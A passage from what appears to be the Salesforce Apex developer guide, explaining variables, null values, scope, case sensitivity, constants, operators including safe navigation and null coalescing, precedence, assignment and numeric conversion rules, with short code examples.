Map<ID, String> m;
```

As with Java, multiple variables can be declared and initialized in a single statement, using comma separation. For example:

```
Integer i, j, k;
```

Variable Naming Rules

When naming variables, follow these rules.

- Variable names are case-insensitive.
- Variable names can contain only letters (A-Z or a-z), numbers (0-9), and underscores (_). Spaces and other special characters, including dollar signs (\$) and hyphens (-), aren't allowed.
- Variable names must begin with a letter (A-Z or a-z). Names can't begin with a number (0-9) or an underscore (_).
- Variable names can't end with an underscore (_).
- Variable names can't contain consecutive underscores (_ _).
- [Reserved keywords](#) can't be used as variable names.
- Variable names can have a maximum length of 255 characters.
- Salesforce doesn't recommend sharing the same name between a variable and either its class or a method in its class, although it is permitted to do so.

Null Variables and Initial Values

If you declare a variable and don't initialize it with a value, it will be `null`. In essence, `null` means the absence of a value. You can also assign `null` to any variable declared with a primitive type. For example, both of these statements result in a variable set to `null`:

```
Boolean x = null;
Decimal d;
```


Many instance methods on the data type will fail if the variable is `null`. In this example, the second statement generates an exception (`NullPointerException`)

```
Date d;
d.addDays(2);
```

All variables are initialized to `null` if they aren't assigned a value. For instance, in the following example, `i`, and `k` are assigned values, while the integer variable `j` and the boolean variable `b` are set to `null` because they aren't explicitly initialized.

```
Integer i = 0, j, k = 1;
Boolean b;
```



Note: A common pitfall is to assume that an uninitialized boolean variable is initialized to `false` by the system. This isn't the case. Like all other variables, boolean variables are null if not assigned a value explicitly.

Variable Scope

Variables can be defined at any point in a block, and take on scope from that point forward. Sub-blocks can't redefine a variable name that has already been used in a parent block, but parallel blocks can reuse a variable name. For example:

```
Integer i;
{
    // Integer i; This declaration is not allowed
}

for (Integer j = 0; j < 10; j++);
for (Integer j = 0; j < 10; j++);
```

Case Sensitivity

To avoid confusion with case-insensitive SOQL and SOSL queries, Apex is also case-insensitive. This means:

- Variable and method names are case-insensitive. For example:

```
Integer I;
//Integer i;
```

- References to object and field names are case-insensitive. For example:

```
Account a1;
ACCOUNT a2;
```

- SOQL and SOSL statements are case-insensitive. For example:

```
Account[] accts = [sELect ID From ACCouNT where nAme = 'fred'];
```



Note: You'll learn more about sObjects, SOQL, and SOSL later in this guide.

Also note that Apex uses the same filtering semantics as SOQL, which is the basis for comparisons in the SOAP API and the Salesforce user interface. The use of these semantics can lead to some interesting behavior. For example, if an end-user generates a report based on a filter for values that come before 'm' in the alphabet (that is, values < 'm'), null fields are returned in the result. The rationale for this

behavior is that users typically think of a field without a value as just a space character, rather than its actual `null` value. Consequently, in Apex, the following expressions all evaluate to `true`:

```
String s;
System.assert('a' == 'A');
System.assert(s < 'b');
System.assert(!(s > 'b'));
```

 **Note:** Although `s < 'b'` evaluates to `true` in the example above, `'b'.compareTo(s)` generates an error because you're trying to compare a letter to a `null` value.

SEE ALSO:

[Naming Conventions](#)

Constants

Apex constants are variables whose values don't change after being initialized once. Constants can be defined using the `final` keyword.

The `final` keyword means that the variable can be assigned at most once, either in the declaration itself, or with a static initializer method if the constant is defined in a class. This example declares two constants. The first is initialized in the declaration statement. The second is assigned a value in a static block by calling a static method.

```
public class myCls {
    static final Integer PRIVATE_INT_CONST = 200;
    static final Integer PRIVATE_INT_CONST2;

    public static Integer calculate() {
        return 2 + 7;
    }

    static {
        PRIVATE_INT_CONST2 = calculate();
    }
}
```

For more information, see [Using the final Keyword](#) on page 86.

Expressions and Operators

An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.

[Expressions](#)

An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.

[Expression Operators](#)

Expressions can be joined to one another with operators to create compound expressions.

[Safe Navigation Operator](#)

Use the safe navigation operator (`? .`) to replace explicit, sequential checks for null references. This operator short-circuits expressions that attempt to operate on a null value and returns null instead of throwing a `NullPointerException`.

Null Coalescing Operator

The `??` operator returns its right-hand side operand when its left-hand side operand is null. Similar to the safe navigation operator (`?.`), the null coalescing operator (`??`) replaces verbose and explicit checks for null references in code.

Operator Precedence

Operators are interpreted in order, according to rules.

Comments

Both single and multiline comments are supported in Apex code.

SEE ALSO:

[Expanding sObject and List Expressions](#)

Expressions

An expression is a construct made up of variables, operators, and method invocations that evaluates to a single value.

In Apex, an expression is always one of the following types:

- A literal expression. For example:

```
1 + 1
```

- A new sObject, Apex object, list, set, or map. For example:

```

new Account(<field_initializers>)
new Integer[<n>]
new Account[] {<elements>}
new List<Account>()
new Set<String>{}
new Map<String, Integer>()
new myRenamingClass(string oldName, string newName)

```

- Any value that can act as the left-hand of an assignment operator (L-values), including variables, one-dimensional list positions, and most sObject or Apex object field references. For example:

```

Integer i
myList[3]
myContact.name
myRenamingClass.oldName

```

- Any sObject field reference that is not an L-value, including:
 - The ID of an sObject in a list (see [Lists](#))
 - A set of child records associated with an sObject (for example, the set of contacts associated with a particular account). This type of expression yields a query result, much like SOQL and SOSL queries.
- A SOQL or SOSL query surrounded by square brackets, allowing for on-the-fly evaluation in Apex. For example:

```

Account[] aa = [SELECT Id, Name FROM Account WHERE Name = 'Acme'];
Integer i = [SELECT COUNT() FROM Contact WHERE LastName = 'Weissman'];
List<List<SObject>> searchList = [FIND 'map*' IN ALL FIELDS RETURNING Account (Id, Name),
Contact, Opportunity, Lead];

```

For information, see [SOQL and SOSL Queries](#) on page 169.

- A static or instance method invocation. For example:

```
System.assert(true)
myRenamingClass.replaceNames()
changePoint(new Point(x, y));
```

Expression Operators

Expressions can be joined to one another with operators to create compound expressions.

Apex supports the following operators:

Operator	Syntax	Description
=	<code>x = y</code>	Assignment operator (Right associative). Assigns the value of <code>y</code> to the L-value <code>x</code> . The data type of <code>x</code> must match the data type of <code>y</code> and can't be <code>null</code> .
+=	<code>x += y</code>	Addition assignment operator (Right associative). Adds the value of <code>y</code> to the original value of <code>x</code> and then reassigns the new value to <code>x</code> . See <code>+</code> for additional information. <code>x</code> and <code>y</code> can't be <code>null</code> .
*=	<code>x *= y</code>	Multiplication assignment operator (Right associative). Multiplies the value of <code>y</code> with the original value of <code>x</code> and then reassigns the new value to <code>x</code> .  Note: <code>x</code> and <code>y</code> must be Integers or Doubles or a combination. <code>x</code> and <code>y</code> can't be <code>null</code> .
-=	<code>x -= y</code>	Subtraction assignment operator (Right associative). Subtracts the value of <code>y</code> from the original value of <code>x</code> and then reassigns the new value to <code>x</code> .  Note: <code>x</code> and <code>y</code> must be Integers or Doubles or a combination. <code>x</code> and <code>y</code> can't be <code>null</code> .
/=	<code>x /= y</code>	Division assignment operator (Right associative). Divides the original value of <code>x</code> with the value of <code>y</code> and then reassigns the new value to <code>x</code> .  Note: <code>x</code> and <code>y</code> must be Integers or Doubles or a combination. <code>x</code> and <code>y</code> can't be <code>null</code> .
=	<code>x = y</code>	OR assignment operator (Right associative). If <code>x</code> , a Boolean, and <code>y</code> , a Boolean, are both false, then <code>x</code> remains false. Otherwise <code>x</code> is assigned the value of true. <code>x</code> and <code>y</code> can't be <code>null</code> .
&=	<code>x &= y</code>	AND assignment operator (Right associative). If <code>x</code> , a Boolean, and <code>y</code> , a Boolean, are both true, then <code>x</code> remains true. Otherwise <code>x</code> is assigned the value of false. <code>x</code> and <code>y</code> can't be <code>null</code> .
<<=	<code>x <<= y</code>	Bitwise shift left assignment operator . Shifts each bit in <code>x</code> to the left by <code>y</code> bits so that the high-order bits are lost and the new right bits are set to 0. This value is then reassigned to <code>x</code> .
>>=	<code>x >>= y</code>	Bitwise shift right signed assignment operator . Shifts each bit in <code>x</code> to the right by <code>y</code> bits so that the low-order bits are lost and the new left bits are set to 0 for

Operator	Syntax	Description
		positive values of <code>y</code> and 1 for negative values of <code>y</code> . This value is then reassigned to <code>x</code> .
<code>>>>=</code>	<code>x >>>= y</code>	Bitwise shift right unsigned assignment operator. Shifts each bit in <code>x</code> to the right by <code>y</code> bits so that the low-order bits are lost and the new left bits are set to 0 for all values of <code>y</code> . This value is then reassigned to <code>x</code> .
<code>? :</code>	<code>x ? y : z</code>	Ternary operator (Right associative). This operator acts as a short-hand for if-then-else statements. If <code>x</code> , a Boolean, is true, <code>y</code> is the result. Otherwise <code>z</code> is the result.  Note: <code>x</code> can't be <code>null</code> .
<code>&&</code>	<code>x && y</code>	AND logical operator (Left associative). If <code>x</code> , a Boolean, and <code>y</code> , a Boolean, are both true, then the expression evaluates to true. Otherwise the expression evaluates to false. Note: <code>&&</code> has precedence over <code> </code> - This operator exhibits short-circuiting behavior, which means <code>y</code> is evaluated only if <code>x</code> is true. <code>x</code> and <code>y</code> can't be <code>null</code>.
<code> </code>	<code>x y</code>	OR logical operator (Left associative). If <code>x</code> , a Boolean, and <code>y</code> , a Boolean, are both false, then the expression evaluates to false. Otherwise the expression evaluates to true. Note: <code>&&</code> has precedence over <code> </code> - This operator exhibits short-circuiting behavior, which means <code>y</code> is evaluated only if <code>x</code> is false. <code>x</code> and <code>y</code> can't be <code>null</code>.
<code>==</code>	<code>x == y</code>	Equality operator. If the value of <code>x</code> equals the value of <code>y</code> , the expression evaluates to true. Otherwise the expression evaluates to false.  Note: - Unlike Java, <code>==</code> in Apex compares object value equality not reference equality, except for user-defined types. Therefore: - String comparison using <code>==</code> is case-insensitive and is performed according to the locale of the context user - ID comparison using <code>==</code> is case-sensitive and doesn't distinguish between 15-character and 18-character formats - User-defined types are compared by reference, which means that two objects are equal only if they reference the same location in memory. You can override this default comparison behavior by

Operator	Syntax	Description
		providing <code>equals</code> and <code>hashCode</code> methods in your class to compare object values instead. - For <code>sObjects</code> and <code>sObject</code> arrays, <code>==</code> performs a deep check of all <code>sObject</code> field values before returning its result. Likewise for collections and built-in Apex objects. - For records, every field must have the same value for <code>==</code> to evaluate to true. <code>x</code> or <code>y</code> can be the literal <code>null</code>. - The comparison of any two values can never result in <code>null</code>. - SOQL and SOSL use <code>=</code> for their equality operator and not <code>==</code>. Although Apex and SOQL and SOSL are strongly linked, this unfortunate syntax discrepancy exists because most modern languages use <code>=</code> for assignment and <code>==</code> for equality. The designers of Apex deemed it more valuable to maintain this paradigm than to force developers to learn a new assignment operator. As a result, Apex developers must use <code>==</code> for equality tests in the main body of the Apex code, and <code>=</code> for equality in SOQL and SOSL queries.
<code>===</code>	<code>x === y</code>	Exact equality operator. If <code>x</code> and <code>y</code> reference the exact same location in memory the expression evaluates to true. Otherwise the expression evaluates to false.
<code><</code>	<code>x < y</code>	Less than operator. If <code>x</code> is less than <code>y</code>, the expression evaluates to true. Otherwise the expression evaluates to false.  Note: - Unlike other database stored procedures, Apex doesn't support tri-state Boolean logic and the comparison of any two values can never result in <code>null</code>. - If <code>x</code> or <code>y</code> equal <code>null</code> and are Integers, Doubles, Dates, or Datetimes, the expression is false. - A non-<code>null</code> String or ID value is always greater than a <code>null</code> value. - If <code>x</code> and <code>y</code> are IDs, they must reference the same type of object. Otherwise a runtime error results. - If <code>x</code> or <code>y</code> is an ID and the other value is a String, the String value is validated and treated as an ID. <code>x</code> and <code>y</code> can't be Booleans. - The comparison of two strings is performed according to the locale of the context user and is case-insensitive.
<code>></code>	<code>x > y</code>	Greater than operator. If <code>x</code> is greater than <code>y</code>, the expression evaluates to true. Otherwise the expression evaluates to false.  Note: The comparison of any two values can never result in <code>null</code>.

Operator	Syntax	Description
		- If <code>x</code> or <code>y</code> equal <code>null</code> and are Integers, Doubles, Dates, or Datetimes, the expression is false. - A non-<code>null</code> String or ID value is always greater than a <code>null</code> value. - If <code>x</code> and <code>y</code> are IDs, they must reference the same type of object. Otherwise a runtime error results. - If <code>x</code> or <code>y</code> is an ID and the other value is a String, the String value is validated and treated as an ID. <code>x</code> and <code>y</code> can't be Booleans. - The comparison of two strings is performed according to the locale of the context user and is case-insensitive.
<code><=</code>	<code>x <= y</code>	Less than or equal to operator. If <code>x</code> is less than or equal to <code>y</code>, the expression evaluates to true. Otherwise the expression evaluates to false.  Note: - The comparison of any two values can never result in <code>null</code>. - If <code>x</code> or <code>y</code> equal <code>null</code> and are Integers, Doubles, Dates, or Datetimes, the expression is false. - A non-<code>null</code> String or ID value is always greater than a <code>null</code> value. - If <code>x</code> and <code>y</code> are IDs, they must reference the same type of object. Otherwise a runtime error results. - If <code>x</code> or <code>y</code> is an ID and the other value is a String, the String value is validated and treated as an ID. <code>x</code> and <code>y</code> can't be Booleans. - The comparison of two strings is performed according to the locale of the context user and is case-insensitive.
<code>>=</code>	<code>x >= y</code>	Greater than or equal to operator. If <code>x</code> is greater than or equal to <code>y</code>, the expression evaluates to true. Otherwise the expression evaluates to false.  Note: - The comparison of any two values can never result in <code>null</code>. - If <code>x</code> or <code>y</code> equal <code>null</code> and are Integers, Doubles, Dates, or Datetimes, the expression is false. - A non-<code>null</code> String or ID value is always greater than a <code>null</code> value. - If <code>x</code> and <code>y</code> are IDs, they must reference the same type of object. Otherwise a runtime error results. - If <code>x</code> or <code>y</code> is an ID and the other value is a String, the String value is validated and treated as an ID. <code>x</code> and <code>y</code> can't be Booleans. - The comparison of two strings is performed according to the locale of the context user and is case-insensitive.

Operator	Syntax	Description
<code>!=</code>	<code>x != y</code>	Inequality operator. If the value of <code>x</code> doesn't equal the value of <code>y</code>, the expression evaluates to true. Otherwise the expression evaluates to false.  Note: - String comparison using <code>!=</code> is case-insensitive - Unlike Java, <code>!=</code> in Apex compares object value equality not reference equality, except for user-defined types. - For <code>sObjects</code> and <code>sObject</code> arrays, <code>!=</code> performs a deep check of all <code>sObject</code> field values before returning its result. - For records, <code>!=</code> evaluates to true if the records have different values for any field. - User-defined types are compared by reference, which means that two objects are different only if they reference different locations in memory. You can override this default comparison behavior by providing <code>equals</code> and <code>hashCode</code> methods in your class to compare object values instead. <code>x</code> or <code>y</code> can be the literal <code>null</code>. - The comparison of any two values can never result in <code>null</code>.
<code>!==</code>	<code>x !== y</code>	Exact inequality operator. If <code>x</code> and <code>y</code> don't reference the exact same location in memory, the expression evaluates to true. Otherwise the expression evaluates to false.
<code>+</code>	<code>x + y</code>	Addition operator. Adds the value of <code>x</code> to the value of <code>y</code> according to the following rules: - If <code>x</code> and <code>y</code> are Integers or Doubles, the operator adds the value of <code>x</code> to the value of <code>y</code>. If a Double is used, the result is a Double. - If <code>x</code> is a Date and <code>y</code> is an Integer, returns a new Date that is incremented by the specified number of days. - If <code>x</code> is a Datetime and <code>y</code> is an Integer or Double, returns a new Date that is incremented by the specified number of days, with the fractional portion corresponding to a portion of a day. - If <code>x</code> is a String and <code>y</code> is a String or any other type of non-<code>null</code> argument, concatenates <code>y</code> to the end of <code>x</code>.
<code>-</code>	<code>x - y</code>	Subtraction operator. Subtracts the value of <code>y</code> from the value of <code>x</code> according to the following rules: - If <code>x</code> and <code>y</code> are Integers or Doubles, the operator subtracts the value of <code>y</code> from the value of <code>x</code>. If a Double is used, the result is a Double. - If <code>x</code> is a Date and <code>y</code> is an Integer, returns a new Date that is decremented by the specified number of days. - If <code>x</code> is a Datetime and <code>y</code> is an Integer or Double, returns a new Date that is decremented by the specified number of days, with the fractional portion corresponding to a portion of a day.

Operator	Syntax	Description
*	<code>x * y</code>	Multiplication operator. Multiplies <code>x</code> , an Integer or Double, with <code>y</code> , another Integer or Double. If a double is used, the result is a Double.
/	<code>x / y</code>	Division operator. Divides <code>x</code> , an Integer or Double, by <code>y</code> , another Integer or Double. If a double is used, the result is a Double.
!	<code>!x</code>	Logical complement operator. Inverts the value of a Boolean so that true becomes false and false becomes true.
-	<code>-x</code>	Unary negation operator. Multiplies the value of <code>x</code> , an Integer or Double, by -1. The positive equivalent <code>+</code> is also syntactically valid but doesn't have a mathematical effect.
++	<code>x++</code> <code>++x</code>	Increment operator. Adds 1 to the value of <code>x</code> , a variable of a numeric type. If prefixed (<code>++x</code>), the expression evaluates to the value of <code>x</code> after the increment. If postfix (<code>x++</code>), the expression evaluates to the value of <code>x</code> before the increment.
--	<code>x--</code> <code>--x</code>	Decrement operator. Subtracts 1 from the value of <code>x</code> , a variable of a numeric type. If prefixed (<code>--x</code>), the expression evaluates to the value of <code>x</code> after the decrement. If postfix (<code>x--</code>), the expression evaluates to the value of <code>x</code> before the decrement.
&	<code>x & y</code>	Bitwise AND operator. ANDs each bit in <code>x</code> with the corresponding bit in <code>y</code> so that the result bit is set to 1 if both of the bits are set to 1.
	<code>x y</code>	Bitwise OR operator. ORs each bit in <code>x</code> with the corresponding bit in <code>y</code> so that the result bit is set to 1 if at least one of the bits is set to 1.
^	<code>x ^ y</code>	Bitwise exclusive OR operator. Exclusive ORs each bit in <code>x</code> with the corresponding bit in <code>y</code> so that the result bit is set to 1 if exactly one of the bits is set to 1 and the other bit is set to 0.
^=	<code>x ^= y</code>	Bitwise exclusive OR operator. Exclusive ORs each bit in <code>x</code> with the corresponding bit in <code>y</code> so that the result bit is set to 1 if exactly one of the bits is set to 1 and the other bit is set to 0. Assigns the result of the exclusive OR operation to <code>x</code> .
<<	<code>x << y</code>	Bitwise shift left operator. Shifts each bit in <code>x</code> to the left by <code>y</code> bits so that the high-order bits are lost and the new right bits are set to 0.
>>	<code>x >> y</code>	Bitwise shift right signed operator. Shifts each bit in <code>x</code> to the right by <code>y</code> bits so that the low-order bits are lost and the new left bits are set to 0 for positive values of <code>y</code> and 1 for negative values of <code>y</code> .
>>>	<code>x >>> y</code>	Bitwise shift right unsigned operator. Shifts each bit in <code>x</code> to the right by <code>y</code> bits so that the low-order bits are lost and the new left bits are set to 0 for all values of <code>y</code> .
~	<code>~x</code>	Bitwise Not or Complement operator. Toggles each binary digit of <code>x</code> , converting 0 to 1 and 1 to 0. Boolean values are converted from <code>True</code> to <code>False</code> and vice versa.
()	<code>(x)</code>	Parentheses. Elevates the precedence of an expression <code>x</code> so that it's evaluated first in a compound expression.

Operator	Syntax	Description
<code>? .</code>	<code>x?.y</code>	Safe navigation operator. Short-circuits expressions that attempt to operate on a null value, and returns null instead of throwing a <code>NullPointerException</code> . If the left-hand side of the chain expression evaluates to null, the right-hand side of the chain expression isn't evaluated.

Safe Navigation Operator

Use the safe navigation operator (`? .`) to replace explicit, sequential checks for null references. This operator short-circuits expressions that attempt to operate on a null value and returns null instead of throwing a `NullPointerException`.

 **Important:** Where possible, we changed noninclusive terms to align with our company value of Equality. We maintained certain terms to avoid any effect on customer implementations.

If the left-hand-side of the chain expression evaluates to null, the right-hand-side isn't evaluated. Use the safe navigation operator (`? .`) in method, variable, and property chaining. The part of the expression that isn't evaluated can include variable references, method references, or array expressions.

 **Note:** All Apex types are implicitly nullable and can hold a null value returned from the operator.

Examples

- This example first evaluates `a`, and returns null if `a` is null. Otherwise the return value is `a.b`.

```
a?.b // Evaluates to: a == null ? null : a.b
```

- This example returns null if `a[x]` evaluates to null. If `a[x]` doesn't evaluate to null and `aMethod()` returns null, then this expression throws a `NullPointerException`.

```
a[x]?.aMethod().aField // Evaluates to null if a[x] == null
```

- This example returns null if `a[x].aMethod()` evaluates to null.

```
a[x].aMethod()?.aField
```

- This example indicates that the type of the expression is the same whether the safe navigation operator is used in the expression or not.

```
Integer x = anObject?.anIntegerField; // The expression is of type Integer because the field is of type Integer
```

- This example shows a single statement replacing a block of code that checks for nulls.

```
// Previous code checking for nulls
String profileUrl = null;
if (user.getProfileUrl() != null) {
    profileUrl = user.getProfileUrl().toExternalForm();
}
```

```
// New code using the safe navigation operator
String profileUrl = user.getProfileUrl()?.toExternalForm();
```

- This example shows a single-row SOQL query using the safe navigation operator.

```
// Previous code checking for nulls
results = [SELECT Name FROM Account WHERE Id = :accId];
if (results.size() == 0) { // Account was deleted
    return null;
}
return results[0].Name;
```

```
// New code using the safe navigation operator
return [SELECT Name FROM Account WHERE Id = :accId]?.Name;
```

Table 1: Safe Navigation Operator Use-Cases

Allowed use-case	Example	More information
Method or variable or parameter chains	<code>aObject?.aMethod();</code>	Can be used as a top-level statement.
Using parentheses, for example in a cast.	<code>((T) a1?.b1)?.c1()</code>	The operator skips the method chain up to the first closing parenthesis. By adding the operator after the parenthesis, the code safeguards the whole expression. If the operator is used elsewhere, and not after the parenthesis, the whole cast expression isn't be safeguarded. For example, the behavior of <pre>//Incorrect use of safe navigation operator ((T) a1?.b1).c1()</pre> is equivalent to: <pre>T ref = null; if (a1 != null) { ref = (T)a1.b1; } result = ref.c1();</pre>
SObject chaining	<code>String s = contact.Account?.BillingCity;</code>	An SObject expression evaluates to null when the relationship is null. The behavior is equivalent to <code>String s = contact.Account.BillingCity.</code>
SOQL Queries	<code>String s = [SELECT LastName FROM Contact]?.LastName;</code>	If the SOQL query returns no objects, then the expression evaluates to null. The behavior is equivalent to: <pre>List<Contact> contacts = [SELECT LastName FROM Contact]; String s; if (contacts.size() == 0) {</pre>

Allowed use-case	Example	More information
		<pre> s = null; // New behavior when using Safe Navigation. Earlier, this would throw an exception. } else if (contacts.size() == 1) { s = contacts.get(0).LastName; } else { // contacts.size() > 1 throw new QueryException(...); } </pre>

You can't use the Safe Navigation Operator in certain cases. Attempting to use the operator in these ways causes an error during compilation:

- Types and static expressions with dots. For example:
 - Namespaces
 - {Namespace}.{Class}
 - Trigger.new
 - Flow.interview.{flowName}
 - {Type}.class
- Static variable access, method calls, and expressions. For example:
 - AClass.AStaticMethodCall()
 - AClass.AStaticVariable
 - String.format('{0}', 'hello world')
 - Page.{pageName}
- Assignable expressions. For example:
 - foo?.bar = 42;
 - ++foo?.bar;
- SOQL bind expressions. For example:

```

class X { public String query = 'xyz'; }
X x = new X();
List<Account> accounts = [SELECT Name FROM Account WHERE Name = :X?.query]
List<List<SObject>> moreAccounts = [FIND :X?.query IN ALL FIELDS
    RETURNING Account(Name)];

```

- With addError() on SObject scalar fields. For example:

```

Contact c;
c.LastName?.addError('The field must have a value');

```

 **Note:** You can use the operator with addError() on SObjects, including lookup and master-detail fields.

Null Coalescing Operator

The `??` operator returns its right-hand side operand when its left-hand side operand is null. Similar to the safe navigation operator (`?.`), the null coalescing operator (`??`) replaces verbose and explicit checks for null references in code.

The null coalescing operator is a binary operator in the form `a ?? b` that returns `a` if `a` isn't null, and otherwise returns `b`. The operator is left-associative. The left-hand operand is evaluated only one time. The right-hand operand is only evaluated if the left-hand operand is null.

You must ensure type compatibility between the operands. For example, in the expression: `objectZ result = objectA ?? objectB`, both `objectA` and `objectB` must be instances of `objectZ` to avoid a compile-time error.

Here's a comparison that illustrates the operator usage. Before the Null Coalescing Operator, you used:

```
Integer notNullReturnValue = (anInteger != null) ? anInteger : 100;
```

With the Null Coalescing Operator, use:

```
Integer notNullReturnValue = anInteger ?? 100;
```

While using the null coalescing operator, always keep operator precedence in mind. In some cases, using parentheses is necessary to obtain the desired results. For example, the expression `top ?? 100 - bottom ?? 0` evaluates to `top ?? (100 - bottom ?? 0)` and not to `(top ?? 100) - (bottom ?? 0)`.

Apex supports assignment of a single resultant record from a SOQL query, but throws an exception if there are no rows returned by the query. The null coalescing operator can be used to gracefully deal with the case where the query doesn't return any rows. If a SOQL query is used as the left-hand operand of the operator and rows are returned, then the null coalescing operator returns the query results. If no rows are returned, the null coalescing operator returns the right-hand operand.



Warning: Salesforce recommends against using multiple SOQL queries in a single statement that also uses the null coalescing operator.

These examples work with Account objects.

```
Account defaultAccount = new Account(name = 'Acme');
// Left operand SOQL is empty, return defaultAccount from right operand:
Account a = [SELECT Id FROM Account
  WHERE Id = '001000000FAKEID'] ?? defaultAccount;
Assert.areEqual(defaultAccount, a);
```

```
// If there isn't a matching Account or the Billing City is null, replace the value
string city = [Select BillingCity
  From Account
  Where Id = '001xx000000001oAAA']?.BillingCity;
System.debug('Matches count: ' + city?.countMatches('San Francisco') ?? 0 );
```

Usage

There are some restrictions on using the null coalescing operator.

- You can't use the null coalescing operator as the left side of an assignment operator in an assignment.
 - `foo??bar = 42;` // This is not a valid assignment
 - `foo??bar++;` // This is not a valid assignment

- SOQL bind expressions don't support the null coalescing operator.

```
class X { public String query = 'xyz';}
X x = new X();
List<Account> accounts = [SELECT Name FROM Account WHERE Name = :X??query]
List<List<SObject>> moreAccounts = [FIND :X??query IN ALL FIELDS
    RETURNING Account (Name) ];
```

SEE ALSO:

[Operator Precedence](#)

[Using SOQL Queries That Return One Record](#)

Operator Precedence

Operators are interpreted in order, according to rules.

Apex uses the following operator precedence rules:

Precedence	Operators	Description
1	{ } () ++ --	Grouping and prefix increments and decrements
2	~ ! -x +x (type) new	Unary operators, additive operators, type cast and object creation
3	* /	Multiplication and division
4	+ -	Addition and subtraction
5	<< >> >>>	Shift Operators
6	< <= > >= instanceof	Greater-than and less-than comparisons, reference tests
7	== !=	Comparisons: equal and not-equal
8	&	Bitwise AND
9	^	Bitwise XOR
10		Bitwise OR
11	&&	Logical AND
12		Logical OR
13	??	Null Coalescing
14	? :	Ternary
15	= += -= *= /= &= <<= >>= >>>=	Assignment operators

Comments

Both single and multiline comments are supported in Apex code.

 **Tip:** We recommend using the standardized ApexDoc comment format to increase code readability, collaboration, and long-term maintainability. For the full specifications, see [Document Your Apex Code](#) on page 244.

- To create a single line comment, use `//`. All characters on the same line to the right of the `//` are ignored by the parser. For example:

```
Integer i = 1; // This comment is ignored by the parser
```

- To create a multiline comment, use `/*` and `*/` to demarcate the beginning and end of the comment block. For example:

```
Integer i = 1; /* This comment can wrap over multiple
                  lines without getting interpreted by the
                  parser. */
```

Assignment Statements

An assignment statement is any statement that places a value into a variable.

An assignment statement generally takes one of two forms:

```
[LValue] = [new_value_expression];
[LValue] = [[inline_soql_query]];
```

In the forms above, `[LValue]` stands for any expression that can be placed on the left side of an assignment operator. These include:

- A simple variable. For example:

```
Integer i = 1;
Account a = new Account();
Account[] accts = [SELECT Id FROM Account];
```

- A de-referenced list element. For example:

```
ints[0] = 1;
accts[0].Name = 'Acme';
```

- An sObject field reference that the context user has permission to edit. For example:

```
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco');

// IDs cannot be set prior to an insert call
// a.Id = '003000000003T2PGAA0';

// Instead, insert the record. The system automatically assigns it an ID.
insert a;

// Fields also must be writable for the context user
// a.CreatedDate = System.today(); This code is invalid because
//                                     createdDate is read-only!

// Since the account a has been inserted, it is now possible to
// create a new contact that is related to it
Contact c = new Contact(LastName = 'Roth', Account = a);

// Notice that you can write to the account name directly through the contact
c.Account.Name = 'salesforce.com';
```

Assignment is always done by reference. For example:

```
Account a = new Account();
Account b;
Account[] c = new Account[]{};
a.Name = 'Acme';
b = a;
c.add(a);

// These asserts should now be true. You can reference the data
// originally allocated to account a through account b and account list c.
System.assertEquals(b.Name, 'Acme');
System.assertEquals(c[0].Name, 'Acme');
```

Similarly, two lists can point at the same value in memory. For example:

```
Account[] a = new Account[]{new Account()};
Account[] b = a;
a[0].Name = 'Acme';
System.assert(b[0].Name == 'Acme');
```

In addition to `=`, other valid assignment operators include `+=`, `*=`, `/=`, `|=`, `&=`, `++`, and `--`. See [Expression Operators](#) on page 40.

Rules of Conversion

In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot be implicitly converted to a String. You must use the `string.format` method. However, a few data types can be implicitly converted, without using a method.

Numbers form a hierarchy of types. Variables of lower numeric types can always be assigned to higher types without explicit conversion. The following is the hierarchy for numbers, from lowest to highest:

1. Integer
2. Long
3. Double
4. Decimal



Note: Once a value has been passed from a number of a lower type to a number of a higher type, the value is converted to the higher type of number.

Note that the hierarchy and implicit conversion is unlike the Java hierarchy of numbers, where the base interface `number` is used and implicit object conversion is never allowed.

In addition to numbers, other data types can be implicitly converted. The following rules apply:

- IDs can always be assigned to Strings.
- Strings can be assigned to IDs. However, at runtime, the value is checked to ensure that it is a legitimate ID. If it is not, a runtime exception is thrown.
- The `instanceOf` keyword can always be used to test whether a string is an ID.

Additional Considerations for Data Types

Data Types of Numeric Values

Numeric values represent Integer values unless they are appended with L for a Long or with .0 for a Double or Decimal. For example, the expression `Long d = 123;` declares a Long variable named d and assigns it to an Integer numeric value (123), which is implicitly converted to a Long. The Integer value on the right hand side is within the range for Integers and the assignment succeeds. However, if the numeric value on the right hand side exceeds the maximum value for an Integer, you get a compilation error. In this case, the solution is to append L to the numeric value so that it represents a Long value which has a wider range, as shown in this example: `Long d = 2147483648L;`

Overflow and Underflow of Data Type Values

Arithmetic computations that produce values larger than the maximum value of the current type are said to overflow and values lower than the minimum value of the current type are said to be underflow. Apex doesn't throw an exception for overflow and underflow of data type values. For example, `Integer i = 2147483647 + 1;` yields a value of -2147483648 because 2147483647 is the maximum value for an Integer, so adding one to it wraps the value around to the minimum negative value for Integers: -2147483648. Similarly, subtracting one from the minimum integer -2,147,483,648 wraps the value around to the maximum value for Integers: 2,147,483,647.

If arithmetic computations generate results larger than the maximum value for the current type, the end result will be incorrect because the computed values that are larger than the maximum will overflow. For example, the expression `Long MillsPerYear = 365 * 24 * 60 * 60 * 1000;` results in an incorrect result because the products of Integers on the right hand side are larger than the maximum Integer value and they overflow. As a result, the final product isn't the expected one. You can avoid this by ensuring that the type of numeric values or variables you are using in arithmetic operations are large enough to hold the results. In this example, append L to numeric values to make them Long so the intermediate products will be Long as well and no overflow occurs. The following example shows how to correctly compute the amount of milliseconds in a year by multiplying Long numeric values.

```
Long MillsPerYear = 365L * 24L * 60L * 60L * 1000L;
Long ExpectedValue = 31536000000L;
System.assertEquals(MillsPerYear, ExpectedValue);
```

Loss of Fractions in Divisions

When dividing numeric Integer or Long values, the fractional portion of the result, if any, is removed before performing any implicit conversions to a Double or Decimal. For example, `Double d = 5/3;` returns 1.0 because the actual result (1.666...) is an Integer and is rounded to 1 before being implicitly converted to a Double. To preserve the fractional value, ensure that you are using Double or Decimal numeric values in the division. For example, `Double d = 5.0/3.0;` returns 1.6666666666666667 because 5.0 and 3.0 represent Double values, which results in the quotient being a Double as well and no fractional value is lost.

Conversion of Date to Datetime

Apex supports both implicit and explicit casting of Date values to Datetime, with the time component being zeroed out in the resulting Datetime value.

Control Flow Statements

